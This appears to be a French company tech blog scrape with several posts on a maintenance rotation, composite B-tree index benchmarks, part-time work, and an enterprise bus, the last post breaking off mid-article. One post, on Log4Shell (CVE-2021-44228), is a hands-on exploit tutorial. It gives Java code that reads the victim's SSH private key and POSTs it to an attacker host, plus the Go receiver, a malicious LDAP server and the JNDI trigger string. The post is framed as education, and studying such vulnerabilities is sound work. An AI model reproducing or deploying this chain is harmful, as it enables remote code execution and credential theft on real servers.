    • impossible de récupérer les fichiers pdf via fetch directement par le site des impôts (ils bloquent les requêtes cors)
  • Les Caribous d’Indy 🦌

    Les Caribous d’Indy 🦌

    Dans une startup on grandit vite, on sort rapidement de nouvelles fonctionnalités et de nouveaux projets. Les équipes tech & produit passent la majorité de leur temps sur ces nouveaux sujets pour toujours répondre au mieux aux besoins des clients.

    Il ne faut cependant pas négliger la maintenance de l’existant pour bâtir de solides fondations. Plus les fonctionnalités et projets s’accumulent, et plus le temps à accorder à la maintenance devient important. C’est pourquoi chez Indy nous avons mis en place ce que l’on appelle les Caribous 🦌.

    Le Caribou qu’est-ce que c’est ?

    Le Caribou est la personne en charge de la maintenance. C’est elle qui, en priorité, doit se charger de :

    • répondre aux tickets sur le support interne
    • débloquer ses collègues (au support notamment) en cas de problèmes
    • surveiller les alertes remontées par notre monitoring (ex: issues Sentry*) et alerter les équipes en cas de gros pépin
    • vérifier et régler les incohérences de données trouvées par nos algorithmes d’audit
    • s’assurer de la bonne santé de nos tâches asynchrones (ex: envoi des liasses à l’administration fiscale)

    Quel intérêt ?

    L’intérêt de dédier une personne à ces tâches est notamment de soulager les autres devs de l’équipe. En effet, avant que nous ne mettions en place ce système de Caribou, chaque dev avait l’obligation d’activer ses notifications slack sur nos différents channels d’alerte, et donc à tout moment pouvait être interrompu dans son travail. Et vous savez, comme moi, à quel point cela peut être difficile de changer de contexte régulièrement !

    Aujourd’hui, quand nous ne sommes pas Caribou, nous pouvons nous concentrer pleinement sur les tâches en cours, tout en sachant que les problèmes seront bien traités ! Bien sûr il n’est pas non plus interdit de donner un coup de main au caribou entre deux tâches 😉 !

    Chez Indy, et plus particulièrement dans mon équipe ScaleOps, le Caribou a été un véritable tournant dans l’organisation de l’équipe. Cela a permis à notre PM de se décharger d’une grosse part du temps qu’il passait à répondre aux tickets. Cela a aussi permis à tous les devs de l’équipe de se sentir investi équitablement dans les tâches de maintenance et de soutien aux autres équipes.

    Comment ça fonctionne ?

    Chez Indy, libre à chaque équipe de mettre en place ou non le système de Caribou et de la manière qu’elle le souhaite.

    Chez ScaleOps, nous avons établi un planning sur l’année pour attribuer le rôle de Caribou à tour de rôle chaque semaine à un dev différent. En cas de vacances ou d’absence, on s’organise dans l’équipe pour modifier l’ordre d’attribution.

    Le Caribou occupe le rôle pour une semaine entière, ce qui permet aux autres de vraiment se concentrer sur leurs tâches de développement, et en même temps ne dure pas trop longtemps, pour éviter au Caribou de se lasser des tâches de maintenance et de trop couper avec les sujets de roadmap en cours.

    Organisation du Caribou chez ScaleOps

    Dans mon équipe, le Caribou s’organise de la manière qu’il le souhaite. Nous avons cependant un ordre de priorité à accorder aux différents sujets.

    En effet, nous cherchons en priorité à régler les alertes remontées sur Sentry, car elles peuvent potentiellement impacter plusieurs utilisateurs (voire tous). Ensuite, nous nous attelons à traiter les tickets internes, qui concernent généralement un seul utilisateur.

    Pour ce qui est des audits (jobs qui tournent en tâche de fond afin de vérifier la cohérence des données de nos utilisateurs) nous regardons qu’ils tournent correctement qu’une fois par semaine, le volume d’erreurs étant faible nous n’avons pas besoin de plus.

    Après avoir vérifié tout ça, s’il reste du temps dans la journée du Caribou, celui-ci peut attaquer le développement des correctifs pour régler à la racine des problèmes remontés par les alertes Sentry, ou bien s’attaquer à de petits sujets de roadmap !

    Points d’attention

    Comme nous l’avons vu, le rôle du Caribou est d’être la vigie de l’équipe, et donc d’intervenir en premier en cas de problème. Par conséquent, s’il ne connaît pas assez le domaine concernant un de ces problèmes, il se doit de prévenir et de voir avec la personne compétente la meilleure manière d’aborder la situation.

    Notons aussi qu’il faut garder une bonne communication avec son PM, notamment lorsqu’il s’agit de problèmes nécessitant un développement plus conséquent. En effet, tous les problèmes ne sont pas à traiter dans l’instant. Il arrive que certains demandent plus de réflexion sur la manière de les solutionner, et donc il faudra sûrement intégrer ça dans la roadmap avec le PM.

    Un point très positif de ce système est qu’il permet de partager la connaissance facilement. Le Caribou aura à cœur de documenter un maximum les actions qu’il prend face à un problème (ex: méthode d’investigation et de résolution, différentes requêtes utilisées, etc.) dans ce que nous appelons la Caribase. Cela permettra aux prochains d’être plus efficaces face à un même problème. De plus, lorsque nous accueillons de nouveaux collègues, assister le Caribou est une excellente manière d’aborder la plupart des sujets de l’équipe !

    Et vous, comment fonctionnez-vous ? Que pensez-vous de notre système de Caribou 🦌 ?

  • Créer un index B-tree composé efficace,

    Créer un index B-tree composé efficace,

    Créer un index B-tree composé efficace, un défi plein de pièges

    Nous avons tous eu à indexer nos bases de données à un moment donné.

    Nous avons tous cherché à indexer plusieurs champs avec des index composés à un moment donné.

    Et pourtant nos index composés peuvent avoir fait pire que mieux ou ne pas être à la hauteur. Nous allons ici avec un véritable use case voir la différence entre les bons et les mauvais index composés.

    Rappel du B-tree et idées reçues

    Etant donné l’étendu de la littérature sur les B-tree, nous ne nous étendrons pas trop dessus. Pour mémoire, le fonctionnement du B-tree est le suivant

    Pour lire la valeur 7, on va traverser l’arbre en partant du nœud racine en bleu, traverser la branche jaune à gauche et lire les valeurs en vert. La, l’index va nous donner directement l’adresse de l’enregistrement voulu.

    Dans le cas d’un index composé, l’index sera une succession d’index simples.

    Exemple de schéma si on créé un index B-tree sur les colonnes “A” et “B” (dans cet ordre).

    Par exemple avec la requête SQL

    CREATE INDEX "composed_index_name" ON "my_table" ("A", "B");
    

    On va créer l’arbre suivant

    Si maintenant, je veux la valeur A: 1, B: 5 voici le parcours (en rouge) qui va être effectué.

    Si on suit le trajet en rouge lors d’une requête : aucun doute c’est vraiment bien optimisé.

    De plus, en observant l’arbre, on voit apparaître un pattern assez connu et souvent documenté.

    Un index sur A et B permet aussi d’indexer des queries sur A uniquement

    Si, je reprend, l’exemple, si je veux tous les enregistrements ayant pour valeur de A à 1 il suffit de parcourir l’arbre en rouge ci-dessous.

    Relativement peu de flèches rouges, ça semble être effectivement une bonne astuce à première vue.

    Le piège du composed index

    Nous allons maintenant nous intéresser à l’index composé et essayer de voir comment il peut devenir un piège.

    Les données théoriques de nos index

    Pour ce faire, nous allons nous intéresser à de la donnée plus proche de la réalité que notre exemple théorique. On va stocker en base de données des exécutions de tâches s’exécutant trois fois tous les dix jours et échouant une fois sur trois.

    Ce qui nous donne les données suivantes :

    datestatus
    2022-01-01success
    2022-01-05error
    2022-01-10success
    2022-01-11success
    2022-01-15error
    2022-01-20success
    2022-01-21success
    2022-01-25error
    2022-01-30success

    Si nous avons les deux requêtes suivantes à indexer :

    • Récupérer un run pour une date donnée
    • Un compte des runs en échec entre deux dates. L’exemple s’appliquerait aussi si nous voulons tous les runs en échecs (sans compte), mais la récupération des runs serait coûteuse en temps, le count nous permet de mesurer uniquement le temps de parcours de l’index en excluant le fetch de données.
    # Requête 1
    SELECT * from runs WHERE date = <date>
    
    #Requête 2
    SELECT count(*) from runs WHERE date > <date_start> AND date < <date_end> AND status = 'error'
    

    Premier index

    En bon développeur devant une requête SQL lente, nous allons penser index.

    A partir de l’idée reçue vue au paragraphe précédent, nous allons préférer l’index suivant :

    CREATE INDEX "date_status" ON "runs" ("date", "status");
    

    Cet index, semble couvrir les deux queries avec un seul index.

    Intéressons nous maintenant à l’arbre que cet index va générer.

    Par rapport à ce à quoi nous nous attendions, celui-ci semble étrange.

    En effet, nous n’avons qu’un enregistrement par bloc de feuilles (en vert). Et il y a beaucoup de flèches.

    Nous allons maintenant exécuter nos deux requêtes :

    Récupérer un run pour une date donnée

    Si je veux récupérer le run du 21/01/2022, je vais exécuter le trajet suivant (en rouge).

    Le trajet semble plutôt bien optimisé. Peu de flèches rouges empruntées. Vérifions ça par la pratique. Nous allons utiliser la base de données témoin contenant 10 millions de runs avec un run sur 100 en erreur.

    ScénarioTemps d’exécutionTaille d’index
    Sans index+/- 2s0Mb
    index date_status+/- 2ms160Mb
    index date+/- 2ms120Mb

    On remarque que le temps d’exécution est très proche avec l’index date_status qu’avec l’index date uniquement.

    Le contrat est donc clairement rempli avec cet index sur cette requête.

    Seul bémol, la taille de l’index est bien supérieure à celle de l’index date uniquement on comprend aisément pourquoi en revenant à l’arbre. La surabondance de blocs et de flèches se paye sur la taille de l’index.

    Tous les runs en échec entre deux dates

    Les choses vont se compliquer dans ce cas. Dans notre exemple théorique, si je demande une plage de date équivalente à la moitié de l’amplitude de la base, on se retrouve avec le parcours suivant.

    Pour finalement récupérer un seul enregistrement, nous avons un parcours extrêmement complexe et coûteux.

    Si on valide par la pratique, en reprenant notre jeu de données de test, on va demander une plage de date correspondant à environ 500 000 runs (sur 10 millions de runs dans la table).

    ScénarioTemps d’exécution requête dateTemps d’exécution requête runs en error entre deux datesTaille des index
    Sans index+/- 2s+/- 2s0Mb
    index date_status+/- 2ms+/- 310ms160Mb
    index date+/- 2ms+/- 300ms120Mb
    index status+/- 2s+/- 100ms45Mb

    On observe effectivement que notre index composé ne fait pas mieux qu’un index uniquement sur le champ date.

    Il est important de noter que plus la fenêtre temporelle de requête est large, pire vont être les performances de cet index.

    A l’inverse, plus la fenêtre est étroite meilleur sera l’index.

    C’est donc un véritable camouflet pour le postulat de départ : un index composé sur A-B permet de requêter sur A de la même façon que un index sur A

    On observe même une valeur étrange, la requête est plus rapide avec l’index status que date_status. Pourquoi ? Tout s’explique avec les cardinalités. Nous avons 10 millions de runs dont 1% en erreur. Soit 100 000 runs alors que dans le parcours via date_status nous allons au final **parcourir 500 000 runs.

    Ce qui nous amène a une première grande idée générale, un index composé efficace est le plus souvent un index réfléchi pour une et une seule requête.

    Autre première observation, un index composé occupe environ le même espace que les index uniques qui le compose. Ca semble logique si on repense à la structure de l’arbre.

    Comment exploiter au mieux le composed index

    A partir de là, nous allons réfléchir aux solutions d’indexation qui s’offrent à nous et essayer d’en tirer quelques règles.

    Indexer chaque champ

    Contre toute attente, cette solution, sans aucune subtilité est souvent une bonne approche.

    CREATE INDEX "date" ON "runs" ("date");
    CREATE INDEX "status" ON "runs" ("status");
    

    SI nous reprenons l’exemple précédent, voici le résultat du bench.

    ScénarioTemps d’exécution requête dateTemps d’exécution requête runs en error entre deux datesTaille des index
    Sans index+/- 2s+/- 2s0Mb
    index date_status+/- 2ms+/- 310ms160Mb
    index date+/- 2ms+/- 300ms120Mb
    index status+/- 2s+/- 100ms45Mb
    index date + index status+/- 2ms+/- 300ms160Mb

    C’est encore un coup d’épée dans l’eau, on ne fait pas mieux que avec date uniquement et la taille des index a augmenté.

    Inverser l’index composé

    Plutôt que d’avoir un index sur date puis status, on va inverser et le créer sur status puis date.

    CREATE INDEX "status_date" ON "runs" ("status", "date");
    
    ScénarioTemps d’exécution requête dateTemps d’exécution requête runs en error entre deux datesTaille des index
    Sans index+/- 2s+/- 2s0Mb
    index date_status+/- 2ms+/- 310ms160Mb
    index date+/- 2ms+/- 300ms120Mb
    index status+/- 2s+/- 100ms45Mb
    index date + index status+/- 2ms+/- 300ms160Mb
    index status_date+/- 2s+/- 3ms120Mb

    Ca y est nous avons enfin trouvé un index qui fonctionne pour la deuxième requête. Mais nous y perdons sur la première requête.

    C’est bien la preuve que l’ordre des colonnes d’un index composé est très important.

    Si nous reprenons notre arbre, voici l’explication.

    Visuellement on voit tout de suite pourquoi l’index marche bien.

    Très peu de traits rouges, le chemin vers les feuilles est très direct.

    Nous pouvons en tirer une nouvelle bonne pratique un index composé efficace commence par les colonnes dont les valeurs ont les plus faibles cardinalités : le moins de valeurs possibles.

    Utiliser un index partiel

    Certains SGDB comme MongoDB et PostgreSQL permettent de spécifier des conditions sur un index. Ca devient particulièrement intéressant à combiner avec un index composé qui sera tunné précisément pour une requête. Ca permettra de diminuer l’empreinte de l’index sur l’espace de stockage.

    CREATE INDEX "partial_status_date" 
    ON "runs" ("status", "date")
    WHERE status = "error";
    

    Cet index va indexer runs de la même façon que l’index composé sur “status”, “date” mais uniquement pour les enregistrements qui matchent la condition du WHERE.

    ScénarioTemps d’exécution requête dateTemps d’exécution requête runs en error entre deux datesTaille des index
    Sans index+/- 2s+/- 2s0Mb
    index date_status+/- 2ms+/- 310ms160Mb
    index date+/- 2ms+/- 300ms120Mb
    index status+/- 2s+/- 100ms45Mb
    index date + index status+/- 2ms+/- 300ms160Mb
    index status_date+/- 2s+/- 3ms120Mb
    index partial_status_date+/- 2s+/- 6ms1Mb

    C’est une vraie bonne nouvelle !

    Pour 1Mb de stockage, nous avons un index qui va adresser très correctement la requête voulue.

    En conclusion, les bonnes pratiques de la création d’index composé

    Les leçons que nous avons tirées de notre exercice sont :

    • l’ordre des colonnes d’un index composé est important
    • un index composé vraiment efficace est souvent un index réfléchi pour une et une seule requête
    • un bon index composé occupe environ le même espace que les index uniques qui le compose
    • Dans le doute, on peut appliquer la règle suivante : un index composé efficace commence par les colonnes dont les valeurs ont les plus faibles cardinalités
    • Les index partiels sont souvent un bon compromis, pour une taille qui peut être très réduite ils permettent de multiplier les index.

    Maintenant j’espère que les index composés vous semblent beaucoup moins magiques.

    La stratégie de benchmark

    Pour valider nos futures hypothèses nous allons utiliser une table témoin contenant 10 millions de runs.

    Chaque enregistrement a le format suivant :

    ColonneTypevaleur
    dateDatedate de type auto increment
    statusTextun enregistrement sur 100 en échec (⚠️ dans les graphes on a un échec sur 3 pour que ce soit plus compréhensible)

    Les benchmarks ont été fait sur mongodb, mais peuvent s’appliquer à PostgreSQL aussi.

    Ressources

    Repository github contenant le benchmark : https://github.com/jtassin/blog-post-composed-index-1

    Partial index sur postgres

    Partial index sur mongodb

  • REX : comment mener une activité annexe en parallèle du salariat

    REX : comment mener une activité annexe en parallèle du salariat

    “Y’a pas que les ordinateurs qui sont multitâches”

    Ou, un retour d’expérience sur mes activités parallèles au salariat.


    Web developer who also develops film.

    👆Ainsi commence ma bio Twitter.

    Pour les moins anglophones d’entre nous, ça arrive, on pourrait le traduire maladroitement en “développeur informatique qui développe aussi des photos”.

    Forcément, au royaume des 140 caractères, la brévité est de mise et cette description de mon quotidien est un peu réductrice. Mais elle n’en reste pas moins très juste !

    L’informatique est mon métier ainsi qu’une partie de mes loisirs, et la photographie argentique est ma passion ainsi qu’une partie de mes activités professionnelles.

    Ce continuum travail / profession / loisirs, dans un monde de plus en plus fluctuant, de plus en plus (inter)connecté est une facette nouvelle d’un schéma du travail fondamentalement opposé à la construction traditionnelle de l’individu par sa profession et à fortiori par une carrière longue et unique.

    “freelances”, “slashers”, entrepreneurs individuels, auto-entrepreneurs, “micro-taskers”, autant de formes de travail à l’opposé du CDI à vie et qui semblent pourtant se pérenniser.

    Moi-même c’est mon 4ème contrat en tant que développeur web, dans autant d’entreprises différentes. Là où mon père passa quelques 35 ans de carrière dans l’informatique au sein de la même société. Et sans la photographie et l’auto-entreprise, je n’aurais jamais eu l’occasion d’écrire ces lignes, car je ne serais jamais devenu développeur.


    Revenons au début. Ou presque, ça prendrait trop longtemps.

    2008, pas trop mauvais au lycée, bac S et direction l’INSA Lyon pour étudier le génie mécanique et sans le moindre doute y dédier ma carrière.

    2010, pas trop mauvais en photo, que je pratique depuis quelques années, je décide de les publier sur internet, et de faire un blog. En bon ingénieur que je n’étais pas encore, j’en profite pour essayer de coder ce blog moi-même, et mets un pied dans WordPress.

    2011, pas trop mauvais en WordPress, autodidacte et très motivé, je crée mon auto-entreprise pour fournir des sites vitrines à des connaissances et y consacre une année blanche.

    2013, plus trop motivé par le génie mécanique, et bien plus intéressé par l’informatique, je me réoriente vers un DUT Informatique en année spéciale.

    2014, pas déçu par ce DUT, j’enchaîne sur un cursus d’ingénieur à nouveau. En alternance et en informatique cette fois-ci.

    2017, finalement BAC+5, je quitte l’alternance et rejoins une startup où je choisis le temps partiel pour continuer la photo sur mon temps perso.

    2019, toujours passionné de photo, je prends le statut légal d’artiste auteur.

    2019 aussi, je rejoins Indy, alors Georges.tech, et je conserve ce temps partiel.

    https://i0.wp.com/media.giphy.com/media/easASzWu1sI3C/giphy.gif?w=1140&ssl=1

    C’est bien beau tout ça, mais quand est-ce qu’on mange pourquoi on lit ça sur un blog tech ?

    Parce que chez Indy, la tech ne s’arrête pas au point-virgule final de nos fichiers (oui, ici c’est semi: ['error', 'always']). On recrute et travaille quotidiennement avec des humains, et c’est la base de notre philosophie. Pour paraphraser notre annonce pour le poste de développeur·euse :

    Chez nous, les valeurs ce n’est pas juste du wording à la mode. Elles font partie intégrante de notre culture. Nous recrutons des talents H.A.P.P.Y.*

    * : Humble, Attentionné·e, Passionné·e, Perfectionniste, Y-factor

    Facile à dire, non ?

    Pas si facile dans la vraie vie (IRL™️), et encore moins dans une entreprise en hyper-croissance qui voit arriver de nouveaux visages tous les mois !

    Pourtant mon quotidien de développeur chez Indy en bénéficie tous les jours, et je suis heureux de rendre la pareille dès que j’en ai l’occasion.

    💡 Car c’est réellement important.

    À tel point que dans les attentes de progression de carrière, on trouve ces valeurs au même niveau que l’architecture logicielle ou la connaissance de Node.js.

    Et tout à l’heure, j’ai répondu “J’encourage les équilibres pro/perso, fais attention à ce que chacun trouve sa place.” en face du Passionné de HAPPY.

    Et je me suis dit que oui, en effet, je n’étais pas qu’un développeur informatique dans une équipe technique.

    Allez, assez de bla-bla. Des faits !

    • Je suis en temps partiel.
    • Ou plutôt, en temps partiels, 80% / 20%.
    • J’utilise mes compétences acquises à Indy pour mon activité de photographe, entre autres.
    • J’utilise mes compétences de photographe chez Indy. Littéralement. J’y prends régulièrement des photos.
    • Mais pas que. Je participe aussi aux explorations produit, étant très bien placé pour connaître les besoins des indépendants.
    • J’ai un statut légal d’auteur photographe, donc techniquement j’ai deux activités professionnelles.
    • Je profite des refontes de mon site pro pour faire de la veille technologique.
    • Évidemment, j’utilise Indy (avec plaisir) pour ma compta photo 😜.
    • Et bien sûr je peux débugger les features sur un “vrai” compte !

    J’avais commencé mon contrat en 90% sous un format un vendredi sur deux, mais je me suis vite rendu compte que c’était une galère à organiser. Les collègues ne savaient jamais si j’étais au bureau ou au bar, je devais prévoir chaque mois les jours de présence en jonglant entre les différents mois selon le nombre de vendredis effectifs, bref, c’était pas idéal.

    Aujourd’hui (et depuis un bon moment du coup), je suis en 80% avec un format habituel jamais d’Indy le vendredi (oui ça rime). Sachant que ce n’est pas gravé dans le marbre chez nous, et que quand et si j’ai besoin d’adapter ça ne pose pas de souci. Par exemple un shoot photo qui tombe le mardi ne sera pas perdu, et je rattraperai ma journée le vendredi. Mais c’est quand même plus simple pour tout le monde quand c’est un jour fixe.


    D’ailleurs puisqu’on parle de simplicité, il faut bien avouer que le temps partiel — comme tous les compromis — n’est pas l’organisation la plus simple. Mais à mes yeux la balance finale penche clairement du côté du bénéfice malgré de nombreuses petites frustrations.

    Parce que oui, même si on met pas en prod le vendredi il se passe quand même des choses au bureau sur Slack | Github à la tech Indy. Je pense notamment aux évènements et rituels de l’équipe qui ont lieu le vendredi et auxquels je ne peux donc pas participer.

    💡 Rappel : pour les tech Indy, le vendredi après-midi c’est veille techno, montée en compétences et R&D, 10% du temps de travail y étant dédié.

    Et je rate donc le goûter du code, chouette moment de partage informel entre nous. Certes il est enregistré, mais j’ai rarement la disponibilité le reste de la semaine pour rattraper. Et c’est quand même moins gratifiant sans les interactions.

    Pour la même raison, je fais mon temps de veille le jeudi après-midi afin de profiter d’une fin de semaine agréable ce qui me met en décalage du reste de la vie tech sur cette période.


    Aujourd’hui je me considère chanceux. Chanceux de l’équilibre que j’ai construit entre pro et perso, chanceux d’avoir trouvé une société qui encourage la diversité et la passion, au sein d’une Société où c’est loin d’être gagné d’avance. Chanceux d’avoir un métier épanouissant en parallèle de mes passions.

    Je dis chanceux, mais ça n’a rien à voir avec la chance dans les faits. Ça relève de l’organisation, de la philosophie de vie et de la bonne volonté de chacun. C’est un cercle vertueux, moins connu que son antagoniste vicieux mais tout aussi potent.

    Et il faut bien dire que ça demande aussi pas mal de boulot ! Pas simple de jongler entre différents agendas. D’où l’intérêt de bénéficier d’une politique congés souple et de bien s’organiser !

    Et vous alors ? Des passions envahissantes ? Des loisirs professionnalisés ? Des projets à entreprendre ?

    Vous faites quoi à côté du travail ? Comment gérez-vous votre temps précieux ?

    Vous avez forcément quelque chose d’autre à investir et faire fructifier. Et dans le cas contraire, vous trouverez bien un jour 🙂

  • Comprendre (et exploiter 😈) la faille log4shell

    Comprendre (et exploiter 😈) la faille log4shell

    Log4j, qu’est-ce que c’est ?

    Log4j est une des librairies de log parmi les plus utilisées par les applications codées en java. La liste des entreprises qui l’utilise est longue, on y compte notamment des géants comme Apple, Google, Microsoft ou encore Steam.

    La faille Log4Shell

    Log4shell c’est le nom donné à cette vulnérabilité. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille très dangereuse est que d’une part elle est très facile à exploiter et d’autre part,la librairie log4j est utilisée dans un grand nombre de projets. Sur github plus de 300 000 dépôts utilisent cette dépendance.

    Log4j comprend une fonctionnalité de lookup. C’est à dire qu’elle peut interpréter certaines instructions qui seraient inclues dans les données loggées. Par exemple si on lui demande de logger ${env:USER}, cette chaîne de caractères va automatiquement remplacée par la valeur de la variable d’environnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit n’est pas problématique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clé valeur) il devient possible de faire exécuter du code. Pour comprendre comment cela marche, on a va passer à la pratique dans la partie suivante.

    Exploitons cette faille

    Passons maintenant aux travaux pratiques. Pour réaliser une attaque, on va utiliser deux ordinateurs. Le premier sera l’ordinateur cible, qui fera tourner le serveur, le second (à l’adresse 192.168.1.22) sera l’ordinateur attaquant qui va héberger le serveur http et jdni.

    Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)

    Pour commencer, on lance le serveur minecraft avec la commande suivante :

    java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui

    On va ensuite avoir besoin d’un code java malicieux qui sera exécuté sur la machine qui héberge le serveur minecraft. Dans cet exemple on va lire la clé privée de l’utilisateur et l’envoyer à un serveur distant via http.

    Voici le code qui fait ça :

    import java.io.OutputStream;
    import java.net.HttpURLConnection;
    import java.net.URL;
    import java.net.URLConnection;
    import java.nio.charset.StandardCharsets;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class MinecraftRCE {
        static {
            try {
                URL url = new URL("<http://192.168.1.22:8080/data>");
                URLConnection con = url.openConnection();
                HttpURLConnection http = (HttpURLConnection) con;
                http.setRequestMethod("POST");
    
                StringBuilder sb = new StringBuilder();
    
                try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) {
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\\\\n");
                    }
    
                } catch (IOException e) {
                    System.err.format("IOException: %s%n", e);
                }
    
                byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8);
    
                int length = out.length;
    
                http.setFixedLengthStreamingMode(length);
                http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
                http.setDoOutput(true);
                http.connect();
                try(OutputStream os = http.getOutputStream()) {
                    os.write(out);
                }
                http.disconnect();
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
    

    On compile ce bout de code avec javac pour obtenir un fichier MinecraftRCE.class :

    javac MinecraftRCE.java

    La prochaine étape est de servir ce fichier .class sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :

    package main
    
    import (
    	"bytes"
    	"io/ioutil"
    	"log"
    	"net/http"
    )
    
    func dataHandler(_ http.ResponseWriter, req *http.Request) {
    	buf, _ := ioutil.ReadAll(req.Body)
    	rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf))
    	log.Printf("secret data: %q", rdr1)
    }
    
    func main() {
    	fs := http.FileServer(http.Dir("./java"))
    	http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1
    	http.HandleFunc("/data", dataHandler) // 2
    
    	println("waiting for secret data")
    	http.ListenAndServe(":8080", nil)
    }
    
    

    Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :

    1. Il sert sur la route /static le fichier MinecraftRCE.class qui est dans le dossier java
    2. Il écoute sur la route /data et affiche le body de la requête. C’est sur ce endpoint qu’on recevra la clé privée envoyée par le script java malicieux.

    Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :

    const ldap = require('ldapjs');
    
    const server = ldap.createServer();
    
    server.search('', (req, res, next) => {
    	const obj = {
            dn: req.dn.toString(),
            attributes: {
                javaClassName: "MinecraftRCE",
                javaCodeBase: "<http://192.168.1.22:8080/static/>",
                objectClass: "javaNamingReference",
                javaFactory: "MinecraftRCE",
            }
        };
    
        res.send(obj);
    
        res.end();
    });
    
    server.listen(1389, () => {
        console.log('LDAP server listening at %s', server.url);
    });
    
    

    On lance ce serveur avec node :

    node index.js

    Tout est en place pour passer à l’action. On se connecte au serveur minecraft comme un joueur normal et on peut déclencher l’attaque. Pour ce faire il suffit de taper dans le chat le texte suivant :

    ${jndi:ldap://192.168.1.22:1389}

    C’est cette chaîne de caractères qui sera envoyée à log4j. Aussitôt qu’on a appuyé sur entrée on reçoit bien la requête avec la clé privée de la victime sur notre endpoint http /data.

    On reçoit même la requête 3 fois, sans doute parce que la chaîne est loggée 3 fois dans le code de minecraft.

    Nous avons donc démontré que la faille log4shell peut facilement être exploitée. Dans notre exemple assez simple on s’est contenté de lire la clé privée, mais ce n’est pas la seule exploitation possible. C’est pourquoi il est fortement recommandé de garder ses logiciels à jour.

    https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html

    https://www.youtube.com/watch?v=7qoPDq41xhQ

    https://news.fr-24.com/technology/591640.html

    https://stackoverflow.blog/2022/01/19/heres-how-stack-overflow-users-responded-to-log4shell-the-log4j-vulnerability-affecting-almost-everyone/?utm_source=Iterable&utm_medium=email&utm_campaign=the_overflow_newsletter

    https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/

  • Introduction du bus d’entreprise chez Indy

    Introduction du bus d’entreprise chez Indy

    tag : scalabilité, architecture

    Récemment, chez Indy nous avons pris la décision d’ajouter un bus d’entreprise à la stack technique.

    Nous allons passer en revue certaines des raisons qui nous ont poussé à faire ce choix.

    Contexte : L’équipe tech et product est désormais composée de 39 personnes dont 32 développeurs.

    Cette décision n’est pas forcément facile à prendre car elle introduit de la complexité nouvelle dans la stack technique. Ainsi que des techniques et des pratiques pour lesquelles la plupart des développeurs de l’équipe ne sont pas encore familiers.

    Néanmoins après avoir réfléchi à la question et à la connaissance des personnalités qui forment l’équipe, je pense que c’est la voie de la scalabilité pour la boîte. Ce ne sera peut-être pas votre cas, donc je partage notre prise de décision et je ferai une suite d’articles sur l’adoption de cette pratique après quelques mois puis après un an.

    Fils conducteurs

    Pour expliquer comment l’architecture évolue, on peut citer nos fils conducteurs, et résumer la situation actuelle.

    Nous avons un monolithe principal (Indy) sur lequel se trouvent les règles métiers, qui sert de backend à notre frontend et qui synchronise aussi un petit régiment d’outils externes. Ces outils ne sont pas liés à notre produit principal mais participent au bon fonctionnement de l’entreprise, notamment la synchronisation de nos différents CRM.

    Historique

    L’app a commencé simplement avec une connection Indy <-> Intercom. Intercom est l’outil utilisé par nos care pour faire la relation client. La première intégration demandée a été de remonter des informations du client sur Intercom comme : L’utilisateur est-il abonné ? A-t-il terminé sa clôture, dans quel régime fiscal se trouve-t-il ?

    Puis nous avons eu une intégration Gsheet avec l’équipe marketing qui sortait des données d’Intercom à des fins d’analyses. Synchro au début manuelle qui est passé automatique.

    Un peu plus tard, nous avons intégré le CRM de l’équipe Sales : pipedrive, ici aussi nous avons du remonter des informations du produit vers Pipedrive pour simplifier le travail des Sales en automatisant certaines actions sur pipedrive. Mais ici la relation est à double sens car nous devions récupérer des informations sur le commercial pour l’équipe marketing, ça remontait alors dans l’application pour aller dans Intercom pour aller ensuite dans GSheet (!).

    /!\ Premier warning d’architecture ici : L’app Indy servait d’intermédiaire pour synchroniser pipedrive et notre BI de l’époque, code qui ne servait pas du tout l’intention originelle de l’app qui était de servir le client, c’était du code d’entreprise pur.

    Puis nous avons ajouté Metabase qui aggrège les données des différents CRM ainsi que les données de l’application dans un outil qui sert à faire de la visualisation de données et de la BI.

    Avec la croissance, on a continué à empiler les intégrations : Ringover pour des besoins sales, puis Trello pour de l’automatisation produit.

    Nous avons continué avec des app internes qui manipulent l’API de CRM pour des besoins internes (autour de l’affectation d’Intercom), des intégrations entre nos CRM : Intercom et Pipedrive car des données de l’un étaient nécessaires dans l’autre.

    Et le dernier ajout Slack qui s’intègre avec quasiment tous les autres services pour avoir nos infos dans notre outil de communication.

    Le schéma devient vite complexe et il devient difficile pour un développeur, même ancien, de comprendre le flux de données et d’expliquer tout ce qu’il se passe sur notre système d’information.

    Et ce schéma ne montre pas toute l’intégration de monitoring de l’application et des intégrations ! Ce n’était pas très gênant au début, mais cette complexité a conduit à des régressions.

    Un fil conducteur sera alors : Le besoin d’être en mesure d’expliquer le sens des flux de données.

    • Avoir une architecture plus explicite et systématique au niveau des synchros
    • Que le sens de circulation des données soit plus explicite et systématique aussi

    Un autre fil conducteur sera alors : Être en capacité de facilement rajouter une synchro sur le SI existant sans modifier le produit comptable et les autres services

    Typiquement si demain on ajoute un nouveau CRM, il doit pouvoir écouter les évènements existants, faire sa propre synchro et en cas de crash, le faire sans impacter les autres services. En particulier le produit où se trouvent les clients.

    Exemple d’échec suite à cet état :

